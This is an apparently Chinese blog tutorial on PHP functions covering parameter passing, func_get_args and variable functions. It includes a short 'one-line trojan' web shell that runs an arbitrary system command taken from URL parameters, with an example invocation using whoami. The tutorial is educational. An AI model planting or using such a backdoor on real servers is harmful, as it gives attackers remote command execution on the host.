PHP(五)函数

PHP(五)函数

function 函数名(形参)
{
   代码块
   return 表达式; //返回值,不写默认返回NULL
}

函数调用:

1.实参按 顺序 传形参
2.调用时函数互相独立,执行完毕后,返回调用的位置,继续向下执行

参数的传递

1. 默认方式:值传递,对形参的操作不会影响实参
2. 引用传参:对形参的操作会对实参产生影响
3. 默认参数:如果没有给函数传递实参,将取默认值

可变长度参数列表

func_get_arg(1);  根据参数偏移量,从零开始计数,获取序号为1的参数
func_get_args();  返回一个包含函数参数的数组
func_num_args();  获取参数个数

可变函数(变量函数)

1.可直接把 函数名 赋值给变量
2.不能用于 echo ,print , unset() , isset() , empty(), ,include , require  等,需要使用自己的包装函数来将这些结构用作可变函数
3.结构:$a($b);   

例子1:

<?php
header("Content-type:text/html;charset=gb2312");
function test1(){
	echo "This is func ".__FUNCTION__;
	echo "<br />".func_get_arg(0);
	
}
function test2(){
	echo "This is func".__FUNCTION__;
	echo "<br />".func_get_arg(0);
}
$a="test1";   //引号中为函数名
$a("jiayou"); //一个函数,函数名为$a,相当于test1("jiayou");
?>

结果为
在这里插入图片描述
例子2:

<?php
header("Content-type:text/html;charset=gb2312");
$a="system";
$a("ipconfig");//一个函数,函数名为$a,相当于system("ipconfig");
?>

结果为
在这里插入图片描述
最简单的后门 (一句话木马)

<?php
header("Content-type:text/html;charset=gb2312");
$_GET['a']($_GET['b']);
?>
url 输入: 路径 + ?a=system&&b=whoami 等其他命令,中间不能有空格

递归函数

指在函数内部自己调用自己的函数

内部(内置) 函数

PHP提供了许多现成的 函数结构 ,还有一些函数需要开启特定的 PHP扩展模块,否则使用时会得到一个错误 “未定义该函数” 。
这些扩展模块需要 手动修改php.ini文件 即可正常使用。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值